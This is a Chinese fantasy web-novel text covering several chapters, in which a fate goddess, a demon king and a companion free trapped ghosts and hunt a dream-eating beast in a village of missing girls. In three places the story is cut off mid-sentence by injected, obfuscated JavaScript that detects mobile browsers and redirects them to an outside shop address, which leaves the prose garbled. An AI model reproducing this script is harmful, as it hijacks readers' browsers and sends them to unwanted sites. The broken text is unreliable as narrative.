千悦没有立刻回答，她的神情有惊讶，也有些犹豫，随后无奈地说出实情：“当时我被藤蔓缠住时，听到了你和那只恶妖的对话。 救我一次，我还你一命，自然两清。” 仅此而已。 莫凌对这个答案毫不意外。 “最后一个条件是什么？”千悦问道。 莫凌看着她，沉默许久，道：“明天早上来村口找我，作为执掌人界的命运神，你在这有重要的任务。” 千悦虽然不理解，但还是点头同意了，她收起长剑，转身离开了，脚步声渐渐远去。 莫凌仍然站在原地，望向天空的月亮，仿佛能透过月色看到执棋之人。 银白的发丝，清冷的眉眼，还有那一句：“我在此处，望心安。” 他想知道那个人是谁，为什么救他，又为什么杀他。 月亮没有回答，它就像一枚白棋，轻轻落在棋盘上。 而执棋的人，就在另一端，安静过后，女声骤然响起：“看来给妖王的教训还不够。” 天尊站在窗户前，抬起胳膊接住飞进来的金凤凰，轻声道：“你现在的神力连锁链都难以解开，还是别白费力气，让他好好看看这世间是如何毁灭的。” 悸宛清听后并没有立刻回应他，而是安心下棋，直到那枚血棋被白棋彻底围住，她发出很轻的笑声：“我们拭目以待。” ----------------- 苍裂枭坐在客栈房顶正和妖界传音中，在他面前的是可以跨过两界看到对方的云玺镜。 “柳池言身为食梦有了自由就是这样自私，大人五百年前就不该放他出去。”赤狐说道。 虺蛇慵懒的躺在石头上，用手撑起脑袋，蛇尾有一搭没一搭的拍打石面，清朗的男声骤然响起：“也没想到柳池言会那么笨，对红岭村使用幻境还把自己卷了进去，导致他也离不开破村落。” “给出的交易确实诱人，但也不过是存在侥幸心理罢了。”苍裂枭闭着眼睛无心听他们两个吐槽，缓缓睁开眼睛看着云玺镜，一本正经：“妖界可有异样？” 赤狐立马跳出来，它的身形小小的，淡蓝色的绒毛，身后有九个小尾巴不停地摇晃着：“放心，妖界这边只过去了半天，没有任何妖起疑心，恶妖也全部抓回，任务顺利完成。” 虺蛇用蛇尾缠住赤狐，直接无情地扔进深林里：“大人的计划进行得怎么样？” 苍裂枭对它的行为完全不在乎，伸出手展示妖火：“他的妖核已经收复完成，只是莫凌...那个女人还在天上看着，我暂时没办法行动。” “在妖界的时候，就能感受到一双眼睛盯着我们，现在到了人界竟然还不罢休，天尊不会叛变了吧。”虺蛇说道。 苍裂枭眼眸黯淡，慢慢收起妖火：“天尊从不插手任何事，只不过我无法再向他传音，应该是被封禁了。” 赤狐狼狈地从原处跑出来，爬到石头上：“那茯苓又是为什么救他？” 苍裂枭没有回答，因为他也不明白。 “对了！”赤狐仿佛想到什么，“最近九幽界突然有很强的法力出现，我去查看过，却发现那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苍裂枭将手从她脑袋上拿下来，撑在自己身后，目光落在远处的夜色里：“以后你会知道的。” 千悦还想再问，却见小火人随着夜风拂过，已经在她掌心化为火星，消失在夜空中。 翌日。 远处太阳升起，废墟之上覆着一层薄薄的晨光。 莫凌已经站在村口等她了，千悦懒洋洋地走到他身边，脸上还有一丝没睡醒的慵懒：“要我做什么？” 莫凌抱着胳膊转过身看向她，语气平静：“红岭村覆灭数百年，这些亡魂困在此处太久，你身为命运神，让他们走吧。” 千悦愣在原地，随即皱着眉头，认真地说道：“这件事我无法帮你，五百年过去他们的怨气积压太久，又在幻境里经历多次折磨，魂魄早已和这片土地纠缠在一起，强行引渡只会让他们魂飞魄散，就算带到冥界也无法轮回。” “不是引渡。”莫凌打断她，目光落在她脸上，“是归还自由。” 千悦静静地看着他。 “命运神掌管的不只是因果命理。”莫凌的声音很轻，却句句在理，“而是给被命运遗弃的人一个选择的机会。” 千悦张了张嘴，想说什么，可又无言以对。 晨风卷起地上的灰烬，从两人之间穿过，犹如那些鬼魂对外界的尖叫。 莫凌向后退了一步，侧过身让出那条通往废墟深处的路。 千悦看着那条路，瞳孔微沉，呼出一口气，迈出第一步。 之后她站在废墟中央，闭上眼睛，双手结印，脚底亮起阵法，神力从她体内散发而出，如此温柔的气息缓缓蔓延开。 眨眼间，地面开始颤抖，不是地震，是那些被压了数百年的怨念、不甘、恐惧，在这一刻感受到了某种久违的东西。 “你们被困太久了，轮回之门已为你们关闭。”千悦慢慢睁开眼睛，低沉的声音清晰地传遍整个废墟：“愿神灵给予你们希望，归还你们自由。” 四周忽然安静下来。 然后，一缕缕透明的影子从废墟的每一个角落升起：有的从枯井飘出、有的从断墙后探出头、有的从焦土之下缓缓站起。 他们望着千悦，望着她身上那层薄薄的神光，眼神里没有感激，只有一种近乎麻木的茫然。 他们是被假冒神明的人害死的，很难再相信眼前这位陌生的女子。 “走吧。”千悦的声音轻了下去，“想去哪，就去哪，无人能再困住你们。” 第一个鬼魂动了，那是个年轻女子，身上还穿着数百年前的旧衣，怀里抱着一个看不见的襁褓。 她朝千悦瞥了一眼，面对村口还是有些犹豫，但当她真正穿过去后，脸上才露出笑容，然后转身朝废墟之外走去。 阳光穿过她身体，女子并没有消散，只是鬼魂变得很淡，淡到几乎透明，然后带着笑容消失在天际，如果能看清她的脸，或许还有泪水流下。 紧接着第二个，第三个，第四个...越来越多的鬼魂从废墟中走出，就像一条沉默的河流，不断流向村外那片被阳光覆盖的废墟。 千悦站在原地看着他们离去，她能看到每个鬼魂脸上的表情，每个人都是流着泪离开的，她的眼眶也忍不住红了。 莫凌就站在她身后不远处，没有说话，因为他明白共情是多难受的东西，只能安静地陪她看着这条河流，直到最后一个鬼魂消失在视野尽头。 千悦脚下的法阵变得暗淡，直至消失不见，她忽然轻声道：“谢谢。” 莫凌脚步顿了顿，就这样站在她身后，没有回应。 她在神界被保护太久，以为命运线随便管理就好，完全不知道命运线共情能力比星刃更残忍。 他收回目光，转过身离开：“该走了。” ----------------- 苍裂枭不知何时已经在村口等着了，他斜靠在一块还算平整的石板上，手里把玩着一团小火苗。 他见两人一前一后走出，瞬间熄灭小火苗，看到千悦后，调侃道：“我还以为离开妖界后就不会哭鼻子了呢？” 千悦狠狠瞪了他一眼，耍小孩子气，直接别过头不理他。 苍裂枭笑了笑不再逗她，视线转向目光，脸上的神情瞬间变冷：“走吧，我们要去更有趣的地方。” 话落，他指间凝聚出一缕淡淡的黑气，呼吸间，一个小笼子出现在半空，里面关着一个小黑球。 “抓到个小东西。”苍裂枭语气随意，“吞梦兽的分身，本体很弱小，所以只会放出这个东西到处游荡。” 莫凌盯着笼子里的小黑球：“所以这三天...” “在等本体饿肚子。”苍裂枭收起笼子，嘴角勾起一抹意味深长的笑容，“等它饿坏了，分身就会自动回到本体，等到夜晚把它放出去，跟着就好。” 千悦忍不住问“所以妖伯伯从幻境出来后就去找它啊？” 苍裂枭看了她一眼，没有直接回答，随后转过身抬脚往别处走：“先找个地方休息一下，晚上才有好戏看。” 千悦赶忙跟在他身后，而莫凌却站在原地盯着苍裂枭的背影许久，不知接下来自己又会陷入怎样的谜团，无奈地摇摇头，抬腿跟上他们。 远处那片被阳光覆盖褐蛉街上，心芸阁的大门从里面推开，阁主手持折扇，悠哉地从店铺走到街道上，眸光一沉，他看到身旁的黑猫叼着一封信，嘴角上扬几分。 “看来，有客人来访。” ——《碎梦篇》完 20. 姐姐，救我 【镜渊深处，一个孩子蜷缩着身体坐在地上，瘦小的肩膀伴随着哽咽声轻轻颤抖：“大人都是骗子...” 远处的黑暗中，倏然亮起一双幽绿的眼眸，死死盯着孩童的身影：“梦，美味。”】 伴随着诡异的笑声，那团绿光慢慢被周围的黑暗覆盖，消失不见。 不知过了多久，一束光的降临将眼前空无一人的街道彻底照亮。 脚下的青石板路还带着夜里的湿气，两旁的铺子陆续卸下门板，卖早点的摊贩支起棚子，蒸笼里冒出的白雾混杂着包子的香味，飘得到处都是。 “老板来三个包子！” 千悦一手拿着大饼一手爽快地付钱。 苍裂枭和莫凌就这样默默跟在她身后，完全不会打扰到她对人界的好奇之心。 “就这样陪着她吗？”莫凌再一次使用障眼法掩盖自己的形象，抱着胳膊询问着。 苍裂枭打着哈欠，完全不以为然地走在前面：“她的任务是找到被恶妖破坏的命运线，看上去和吞梦兽有关，先随她去吧。” 千悦转过身将包子分给他们，苍裂枭欣然接过，又趁她背对不注意时，直接将手里的包子扔给莫凌处理，道：“更何况账单都记在心芸阁，不会出问题的。” 莫凌手里拿着两个包子，内心既感到无措又无奈，这家伙在人界吃了两次食物后就感到厌恶，从而表示再也不吃了。 他随手向后一抛，两个包子在半空中划过一道弧线，“噗”一声闷响，稳稳落在乞丐的碗里。 千悦走在最前面，眼睛四处观望，吃着美食感叹着：“原来卷轴里写的人间烟火味是这样的啊，神界只有香炉散发的檀香。” “不过是些凡尘俗物，不值一提。”苍裂枭在她身后摆了摆手，淡淡道，“比不上妖界凶兽啸野。” 千悦听后开始不爽，快步向前走不想理会他，莫凌跟在后面扶额叹气。 接下来的时间都是跟着她，千悦走得很慢，每一个摊子都要看，每一种声音都要听，每一种气味都要分辨。 她就像一只刚学会飞的小鸟，对什么都好奇，又对什么都警惕。 苍裂枭又恰恰相反，他几乎对每一个都不感兴趣，还会话语上打击千悦，一次又一次把她弄生气。 而莫凌只是在后面默默跟随，同时，他也观察到这村落起了个奇怪的名字：埋采。 莫凌每路过一个摊子都会偷偷使用落刃的能力——窥视万物，触碰对方拿过的东西便会以物品的视角查看到过去在对方身上发生的一切。 一切都显得平和热闹，如同精心编织的美梦，可这光鲜靓丽的外表下似乎藏着无法言说的暗涌，随时都会撕破安宁。 四周墙上还会贴奇怪的重金悬赏，表面是在抓凶恶称霸之人，但下面却大多数都是女子，没有画像，描写简单，甚至名字都像是假的。 就在莫凌还在思考时，苍裂枭的声音进入到他的脑海中：“没发现这些人都在盯着千悦吗？”苍裂枭在前面嘴巴完全没有动，是用的传音。 莫凌顺着他的目光看向周围摊主的眼神，每一个人的眼里都透过人群死死盯着千悦的一举一动，像是一群恶鬼盯着误入此地的女子。 他四处打量后，眼中精光一闪发现了奇怪之处，眸底露出一丝讶异。 因为这条路上他们根本没有看到任何一个女子出现。 “失踪？”莫凌传音回去，“和恶妖有关？” 苍裂枭转过身看向他，轻微摇了摇头，传音：“吞梦兽没有这么大的本事，当务之急还是尽快找到被吞梦兽当做载体的人族，然后离开此地。” 一路逛下来，已经到了正午时分。 他们走到街角苍裂枭忽然停下脚步，望向另一个卖包子的小摊。 千悦回过头见他们没有跟上来，疑惑地走回来望去：“妖伯伯你刚才不是吃过了吗？” 莫凌站在一旁，察觉到苍裂枭看的并不是那个摊子，而是蹲在角落的小女孩，五六岁的模样，穿着深色的旧衣裳，手里拿着树枝在地上画画，眼睛直直地盯着地面。 苍裂枭眼眸闪烁红光，倒映出小女孩的模样，没有回答千悦，也没有行动，语调很冷，沉声道：“妖伯伯教你一句话，作为命运神，不要只看表面。” 千悦一脸疑惑地看着眼前这两个人有话又不明说的样子，只能听话地看着蹲在地上那个孩子：脏兮兮的小脸，紧抿的嘴唇，除了头发被剪了还是能看出是一个女娃娃...当她觉得没有问题时，莫凌突然踢了一脚身旁的石子，一路滚到小女孩眼前，原本画画的手顿然停下。 她本能地抬起头，与千悦四目相对的那一瞬，后背发凉，完全被钉在原地。 那双眼睛里没有疑惑，没有孩童般的烂漫，只有一种奇怪的空洞。 这不是一个孩子对陌生人该有的眼神，反而更像是看一件东西。 “看到了？”苍裂枭看向千悦，见她不说话，轻笑一声显然已经猜到了，也不选择解释，转身越过她，刚想离开这里时。 千悦忽然开口，细声呼唤：“小姑娘...” 那孩子没有应，反而更像是被他们三个吓到一样，赶忙站起身转身就跑。 “等等！”千悦抬脚要追上去，却被身后的莫凌拉住，警告她，“别追。” 千悦还没反应过来，包子摊主便发现他们了：“你们是谁！为什么一直盯着我家女儿！”小女孩父亲将孩子护在身后对他们怒骂。 “走。”苍裂枭冷然道。 千悦不得不被莫凌拽走，到下一个路口她猛地甩开手，质问苍裂枭：“为什么走？不过是一只低级恶妖，只要把它引诱出来不就解决了？” “然后命运线就恢复了？”苍裂枭抬手，用一缕妖火封住千悦的嘴，“愚蠢。” 她本能地挣扎着，但这次苍裂枭不再纵容她胡闹，神情严峻：“可你有想过如何从人界体内完好地剥离出吞梦兽？又如何保证你可以短时间内改回命运线？最后，孩子的父亲会相信你口中荒唐的言论吗？” 千悦神情一愣，想起卷轴里那些记载，那些神使贸然干预而魂飞魄散的亡魂，挣扎地动作瞬间安静下来，面对苍裂枭的三问，一个都答不上来。 卷轴只会记载恶妖的记载，记录它们是如何祸乱人间，又是如何被除掉的。 没有人会在意被附身的人后来怎么样了，没有人会写他们的家人是什么反应，这场变故之后会留下多大的阴影。 她以为驱赶恶妖是件很简单的事情，剩下的事自然由命运线安排。 可她看到的是小女孩蹲在墙角，脏兮兮的脸上是一双空洞的双眸，她的父亲站在旁边，满脸戒备地盯着他们。 这不是卷轴记录的事情，而是面对活生生的人。 “一切法力的使用都会对人族产生巨大影响。”莫凌走上前看向千悦，为此解释，“如果捕捉恶妖如此简单，我们就不会将恶妖逼到无人处了。” “你是命运神，见证宿命流转，你的一言一行皆成定局。”苍裂枭收回妖火，看着她的眼神里不再有责怪，只有一种近乎冷漠的了然“三天内我会允许你亲自去追，见证什么是人什么是妖。” 话落，苍裂枭从她身边走过，莫凌回头看了看她的背影，随后跟上苍裂枭往街里走去，前往客栈的方向。 千悦久久站在原地未动。 ----------------- 客栈中，莫凌坐在窗沿单膝弯曲支撑着身体，目光落在窗外渐沉的暮色里。 苍裂枭收取妖核目前能挥出三成妖力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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莫凌静静看着这条街道变得死寂沉沉，握着玉佩的手不断收紧。 昏暗中，他看见一个幽绿的光点闪过，顺着那道尾光望去，亲眼目睹它掉落在自己身后的镜子里。 莫凌盯着镜子良久，空气安静，毫无波澜。 他将手中玉佩收起，翻身落地，谨慎地一步步靠近那面镜子。 直到镜子里倒映出自己半张脸后，他耳边忽然响起孩童的哭声。 很轻，很远，像是从镜子的另一面传出来的。 “骗...子...你们为什么不救我…为什么！为什么不救我！说啊！” 撕心裂肺的哭喊声穿过墙壁出现在千悦耳边。 她还没反应过来那个声音从何而来时，刹那间，房间里的灯全部熄灭，漆黑的房间只剩下窗外的月光照进。 突然的黑暗让她呼吸变得沉重，心里发慌，房间太安静了，每走一步都能听到地板被踩的吱呀声。 千悦深吸一口气，努力冷静下来，抬手在掌心凝聚神力照亮眼前的一切，左右看了看没有任何异常，走到窗边看着外面，也没有发现恶妖的气息。 就在她松了一口气，刚转过头就看到床尾悄无声息站着一个孩子，吓得她心头猛地一紧，下意识后退。 五六岁的模样，穿着深色的旧衣裳，脏兮兮的小脸，还有一双空洞的眼睛。 正是他们白天遇见的那个孩子。 孩子脸上没有任何表情，呆呆地歪着头望着她，嘴唇动了动，没有发出声音。 但千悦却在黑暗中看懂了她的口型：“救...我...啊…” 21. 姐姐，这里好黑 小孩子的声音冰冷得可怕，像没有情绪的木偶，一遍又一遍在千悦耳边回响。 她不停往后退拉开距离，可那孩子只是呆呆地站在那里，没有任何动作，才强迫自己冷静下来，与那双空洞的眼眸对视：“想让我怎么救你？” 孩子顿然间不再说话，歪着头看向她，眼眶涌出墨色的泪水：“大人都是骗子...我不想留在这...” 千悦神情微怔，睫毛轻轻一颤，原本冷硬的神色淡下，留下的是一片温软，她缓步靠近，刚想伸出手时。 孩子猛地后退，像失了智一样疯狂摇头，又忽然抬手抓住她的衣袖：“不，我要留下来！我怕黑！姐姐这里好黑，我好怕...” 千悦分不清她说的哪句是真的，哪句是假的。 任由孩子死死攥着衣袖，仿佛要将她拽入黑暗，千悦努力保持冷静不被她的情绪影响，从中能够感受到那只小手透露出很强的恶意。 她另一只手悄悄在身后凝聚神力，在孩童放松警惕时，释放神力，下一秒，一道金光猛地炸开，面前的孩童立马被神力吓到，赶忙松开手后退。 房内烛火重燃之刻，地面突然出现一面镜子，只见那个孩子瞬间跌入镜中，消失了。 千悦本能地伸手去捡地上的镜子，指尖触碰到镜面的瞬间，一股强大的吸力将她整个人拽了进去。 与此同时。 莫凌依旧盯着梳妆台上的镜子，确认求救的声音消失后，缓缓靠近，伸手轻轻触碰镜面。 随后，眼前的镜面像水一样泛起涟漪，莫凌将整只手吞没其中，运用法力能感受到这里面有一股冰冷的空气不断涌起，似乎还带着腐烂的甜味和泥土气息。 他指尖亮起蓝色星光，净化周围污秽，主动将意识短暂地进入镜中，届时，无数画面强行冲进脑海。 吞梦兽毕竟是低级恶妖，穿梭梦境是它的本事，但只要能加以利用就可以跟随它的能力见证一些不为人知的真相。 他看到一个个女孩被绑架关在黑暗的地窖里，黑暗的上方有大人的脚步声经过，有钱财碰撞的声音，更有人不知廉耻地笑着：“这批货能卖个好价钱。” 而蜷缩在角落的女孩子强忍着眼泪，不断低声道：“爹娘会来接我的...爹娘会来的...” 可后来，她不说了，眼睛变成一双空洞，泪水无数次从中掉落，她，永远走不出那黑暗的地窖了。 莫凌强行抽回手，伴随着沉重地呼吸声，身体忍不住颤抖，双手在两侧握拳。 安静几秒后，他一拳狠狠砸在镜面上，“哐啷”一声脆响，镜面瞬间崩裂，碎片哗啦啦落在地上。 眨眼间，一股黑色的气息从中消散，那是吞梦兽的分身，已经没用了。 玻璃碎片嵌进他的皮肉，鲜血直流，可莫凌浑然不觉感知不到痛觉，仿佛这点伤害完全无法熄灭他的怒火。 “大人。”星落从窗外先一步回来，半跪在他身后，“吞梦兽在那个孩子身体里建造了镜渊，记忆被彻底覆盖，意识也被控制，我无法探查她的内心。” 莫凌背对着他：“如果切断与镜渊的联系呢？” 星落摇摇头：“那个空间看上去巨大，小孩子是主载体，里面关联着更多的人。” 噬青随后出现，半跪在星落旁边：“大人，那孩子的住处找到了。在埋采村远处树林里，一家人看上去很和睦，暂时没有察觉到异常。” 莫凌发现了其中的矛盾，表面如此和睦的家庭，孩子体内的异常却无人察觉？ 他沉默了，没有说出这件事。 在暗中莫凌将手上的伤用法力自愈，目光瞄向桌上的镜片，眸底隐隐燃起一团怒火：“我知道了，星落你现在不能暴露，先回本体。” 星落低头领命，化为一束蓝光回到莫凌体内，当噬青也准备回去时，莫凌叫住了她：“等一下。” 噬青疑惑地站在原地，只见他缓缓拿起桌面破碎的镜片，上下打量后：“你有更重要的事情要做。” 另一边。 黑暗中的千悦刚刚清醒过来，四处打量着，发现自己竟站在走埋采村街道上。 街道空无一人，所有铺子都紧闭大门，招牌歪斜，上面还有沉积多年的灰尘还有布满的蛛网，仿佛这里被遗弃多年的样子。 她谨慎地向前走去，隐约听到哭声，立马循着声音转头向一个小胡同跑去，最后来到了街角看到一个小女孩蹲在地上画画，和白天遇到的如出一辙。 目光望去，她画的不是房子不是花花草草，而是一张潦草脸，分不清男女，看上去画了很多遍，忽然小女孩丢弃手中的笔，猛地拿起地面的刀向地面砸去，仿佛怨气很深。 千悦蹲下身想阻止她，刚抬起胳膊只见自己的手穿过孩子的身体，她呼吸一滞，呆愣在原地。 刹那间，面前的孩子停止了对地面的攻击，慢慢抬起头，那双空洞的眼睛突然有了焦点，但看的不是她而是望着千悦身后的某处。 千悦疑惑地回头，只见黑暗中不知何时出现一双幽绿的眼眸正直勾勾盯着她，瞬间被吓得怔在原地。 神力聚集在指尖却发挥不出来，那是一双比想象中还要大的眼睛，绿色的瞳孔倒映出她惊恐的表情。 “滚...滚开！”千悦闭上眼胡乱地拿出武器就是乱砍，下一秒她猛地睁开眼睛，发现自己竟躺在客栈的床上，窗外天已经朦胧亮起。 她撑起床沿坐起身来，呼吸急促，额头满是冷汗，心情久久未平复，不敢相信那是一场梦。 正当她准备去找苍裂枭说明这件事时，手指触到枕边的异物，目光望去，发现是一片枯叶，上面用歪歪扭扭的字写着：“救我啊。” 千悦伸手捏着叶梗拿到眼前，身体微微颤抖，提醒她这一切都不是梦，随之枯叶被她捏碎在手心中，紧握成拳，咬着下唇心有不甘。 外面天光大亮，街道上再一次出现形形色色的人们，摆铺子、贴悬赏，一层叠一层，似乎与昨夜无差别。 千悦从客栈走出，来到阳光下，眼眸微动，她注意到今天街上出现了少数的女子，都是上了年纪的妇人，她们低着头，步子很快，很明显是畏惧什么。 转头望见苍裂枭坐在路边花坛的台子上，弯曲着一条腿，胳膊枕在脑后，脸色苍白看上去一夜没睡，走上前询问：“妖伯伯昨夜也没有睡好？” 苍裂枭打着哈欠，双目无神地看向街道：“梦里发现个捣蛋鬼，顺便教训了一下。” 他瞥见千悦掌心还残留着枯叶的碎片，伸出手在她掌心悬停一瞬。 一缕极细的火苗从苍裂枭指腹窜出，千悦疑惑地看着掌心燃烧的小火苗，并没有任何灼烧感，随后眼前的小火苗毁尽碎叶，钻进自己手心消失不见。 眨眼间，掌中出现歪歪扭扭又很淡的字迹，甚至比“救我啊”更显著的两个字：快逃。 千悦见显现出的两个字，眉头微皱，紧盯着自己掌心，满脸不可置信。 “人间有传说，梦都是反的。”苍裂枭收回手，坐起身伸了个懒腰，“所以，不要只看事物表面，你要修炼的还有很多。” 他话落，那两个字渐渐在千悦眼前消失，这才收回视线：“看来妖伯伯已经知晓昨夜的事情了。” 苍裂枭低声笑了笑：“这点小把戏，本王怎么会看在眼里。” 千悦听到身后有脚步声，转过头发现是莫凌正不急不慢地朝他们走来，依旧穿着颜色很淡的衣袍，他的袖子垂得很低，像是故意遮住手背，最终脚步停在苍裂枭面前。 “大人，那个孩子的住处找到了。” 千悦听到他的话眼神飘忽了一瞬：“这么快？难道昨晚你没有被袭击吗？” 莫凌没有看她，很是从容的回答：“没有。” 千悦被他这般无礼行为更加感到不满，刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535323|203793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想追问就见身后的苍裂枭忽然笑了一声，把她吓了一跳，内心更加不解。 “任务要紧，去见见那家人。”苍裂枭没有为此解释，站起身拍了拍衣摆上的灰尘，视线落在她身上，“千悦，想要修炼，要学会观察。”说完，转身往街里走去。 莫凌沉默地跟上。 千悦站在原地望着他们两个一前一后的背影，总觉得自己心里堵得慌，就像是所有事情摆在眼前，只有她不知道这背后藏了什么。 —————————— 这条路越往深处走，天色越暗， 明明正午刚过，头顶却不见一丝阳光。 眼前这条山路也一眼望不到头，根本不像有人家住的样子，他们脚踩在地上纸张破碎的悬赏令，三人不断往前走。 千悦走得很慢，很快就和他们拉开了距离。她在神界也经历过体力训练，但都是用神力来支撑自己身体。 没想到人界对法力的压制竟然如此恐怖，才走到半山腰，她就感到一阵阵的虚脱，继续使用神力维持怕是还没走到就要提前沉眠了。她咬咬牙，撤去护体的法力，全靠双腿往前走。 莫凌察觉到她没有跟上来，站在原地，回头看去，发现她还在半山腰，本想去帮忙，但被苍裂枭出声拦住了：“站住。” 莫凌立马停下来，看向他。 “她那刻在骨子里的傲劲儿，可是本王教的。”苍裂枭望向不断向上爬的千悦，“这种程度她能抗住。” 莫凌看着他的身影，沉思片刻：“从红岭村出来我就想问，大人和这位神使，是何等关系？”她面色严肃，眼神锐利，带着刻意追究的执拗。 苍裂枭像是听到什么有趣的事情，冷笑一声：“你没有资格知道。”说罢，继续向山顶爬去。 莫凌虽已习惯被他这般冷嘲热讽，但心里依旧不爽，见千悦已经追上，便继续往上走。 不知过了多久。 “就是这里了，”莫凌停下脚步，视线落在此山只有一家的宅院。 千悦随后赶到，弯着腰粗喘着气，擦去额头上的汗，没有抱怨，默默站在二人身后，抬眸看去。 映入眼前的庭院门面还算整齐，但细看处处透着衰败。 门板上的漆皮剥落，门环锈成一团，看上去很久没人拜访了，院墙的瓦片也缺了大半，竟用几块油毡布盖着。 莫凌轻手轻脚绕到院墙侧面，千悦跟上，苍裂枭走在最后，血眸扫在四周，打量着什么。 院墙有一处坍塌的缺口，刚好能窥见里面的景象：青砖铺地，砖缝长满枯草，院子不大，角落里堆着废旧的木桶和破筐。院中有棵槐树，枝叶稀疏。 小女孩蹲在庭院的树下，拿着树枝在地上画画，身上穿着破旧的衣裳，脸色苍白，双目无神，但动作平稳，看不出任何异样。 千悦看她做着和梦里很像的举动，轻声道：“在梦里她也是这样安静地画画，但后来突然就情绪失控了。” “大概是吞梦兽占据了她的意识，表面做的一切是给人看的，只有内心才能反映出这个孩子真实状态。”苍裂枭说。 莫凌没有说话，这番言论和他从星落口中听到的很像。 他盯着那个孩子，脑中闪过星落的话“记忆被覆盖，意识被控制”。再加上无女子的街道，到处贴满的悬赏令，忽然皱起眉：“这个时间，吞梦兽已经在她身体里沉睡了，至于意识...不妨大胆想一想，会不会这个孩子主动让出的呢？” 苍裂枭和千悦都被他的言论震惊到。 “何出此言？”千悦询问。 “大概和这条街的传言有关吧。” 三人一愣，转头看向声音传来的方向，心芸阁阁主不知何时站在庭院的大门前，肩膀上趴着一只黑猫。他穿着一身素色长袍，手里提着药箱，眼睛依旧笑眯眯的，像是在这里等好久了。 “三位，要一起进去吗？” 22. 姐姐，是骗子吗？ “什么传言？”千悦询问。 阁主含笑不语，侧过身做了个请随的手势，迈步先行。 千悦见他故作姿态的模样有些不爽，但苍裂枭率先跟上，她也不敢多言。 三人跟随阁主进入庭院，踏过石板，径直走向槐树下画画的小女孩。 “小蝶。”阁主唤道，脸上的笑容一片祥和。 小女孩听到声音，停下手中的动作缓缓抬起头，视线先落到阁主身上，随后视线扫了一眼他身后的三人。 最后停在千悦身上，嘴唇翕动：“你又来了。” 千悦心头一紧，不知这句话是这个孩子说的还是她体内吞梦兽说的，下意识后退了半步。 苍裂枭察觉到她的反常，不动声色地侧过身子挡住小蝶的视线。 这时，孩子的母亲闻声赶来，声音慈祥，十分恭敬的语气：“阁主大人又来造访，在下感激不尽。” 看到其余三人，疑惑道：“这几位是？” 阁主不紧不慢解释道：“我的手下，今日让他们帮助小蝶回神的。” 夫人举止优雅，身披坎肩，脸上些有疲惫，眼下泛着青黑，但却依旧穿着坦荡。 对他们掂量了几分，片刻后才颔首点头：“那就多谢各位了。” 随后走到小蝶身边，抓住她的手腕，往住宅走去：“该回去了。”夫人背对着阁主，侧过脸继续说道，“几位请跟我来吧，我叫家丁多准备茶水。” “多谢夫人。”阁主带领莫凌和苍裂枭先一步进入。 站在后面的千悦迟迟没有跟上，她紧盯着夫人一举一动，内心有一种说不出的奇怪。 来到小蝶的房间，整体为红褐色，陈设简单，身后是木质小床，墙上四周挂满书法大作，桌子上还有字迹未干的笔墨。 小蝶听从母亲的话乖乖躺在床上，闭上眼睛。 与此同时，阁主正从药箱取出香炉，点燃檀香后放在一旁桌子上，烟雾无声扩散；莫凌靠在窗户，目光越过窗棂瞥见后院的桌上趴着一个男人，酒瓶滚落一地，沉沉睡着，身下还压着一张纸。可惜距离太远，无法看清上面的内容；苍裂枭则立在房间中央，扫视着这屋子四周，仿佛所有的摆设都像是故意为之，花瓶在桌下，镜子对着门，两扇窗户偏偏封住东面。 千悦注意到这些人心思都在别处时，她将自己的目光放在小蝶的身上，看着夫人坐在床边很有耐心地哄睡自己的孩子，轻轻拍打她的身体。 心中那股异样感并没有让她就此放松警惕，她感受不到这位夫人对孩子的爱，看孩子的眼神就像看一个物品，毫无感情。 就连刚刚抓着孩子的手回房间也一样，小蝶明显是被她拽回房间的。 可是... “小蝶已经睡下，劳烦各位大人帮忙了。”夫人站起身行礼。 阁主装模作样地拿出针灸，道：“夫人不必太担心，今日定会给您满意的答复。” 夫人面带微笑，离开了房间。 就在房门关闭那一刻，阁主手中的银针泛起淡金色的纹路，像蛇一样缠绕而上，最终凝成一枚符文，轻轻落在小蝶眉心。 千悦见他会使用神界的法力，眼底掠过一丝讶异：“你是神界的人？” 阁主并未理会，神色淡然地坐在床边，伸出手指轻碰小蝶的额头，闭上眼睛，嘴里念念有词。 金芒一闪而亮，沉睡在小蝶体内的吞梦兽气息逐渐变弱。 千悦静静地看着他，从中感知到这股神力带着荒古气息，苍莽浑厚，远远超出她所能触及的范围。 阁主缓缓睁开眼睛，周身金光一点点黯淡下去，慢慢地归于平静。 “没想到你还会这种把戏。”苍裂枭说道。 阁主眉眼微柔，悄然轻笑一声：“在人界总要想办法生存的。” “你明明能够阻止吞梦兽继续吞噬她的意识，为什么不直接将其毁掉？”莫凌抱着胳膊靠在窗户质问道。 阁主脸上笑意朦胧，神色高深难测：“生存，也是需要培养猎物的。” 话落，他肩膀上的黑猫对着莫凌发出一声虎啸示威。 莫凌啧了一声，硬生生压下情绪，走上前：“那现在进镜渊消灭不是最佳时间。” 苍裂枭抬手拦住他：“吞梦兽现在处于沉睡状态，刚刚的神力已经将小蝶的意识控制住了，稍微耐心点，很快它就醒了。” 空气安静。 千悦赶忙打断这诡异的气氛，快步走到阁主面前：“我不管你是什么人，先告诉我那个传言到底是什么？” 阁主收起脸上的笑意，垂眸打量她几分，又瞥见其余二人的神情，不惊不躁道：“好吧，这件事要从十年前说起...” 【十年前，染坊兴盛，有个女工的女儿在巷口玩耍时失踪，女工疯了一样满街寻找，最后却发现女儿意外死在染缸里，死时手里攥着一根彩线。 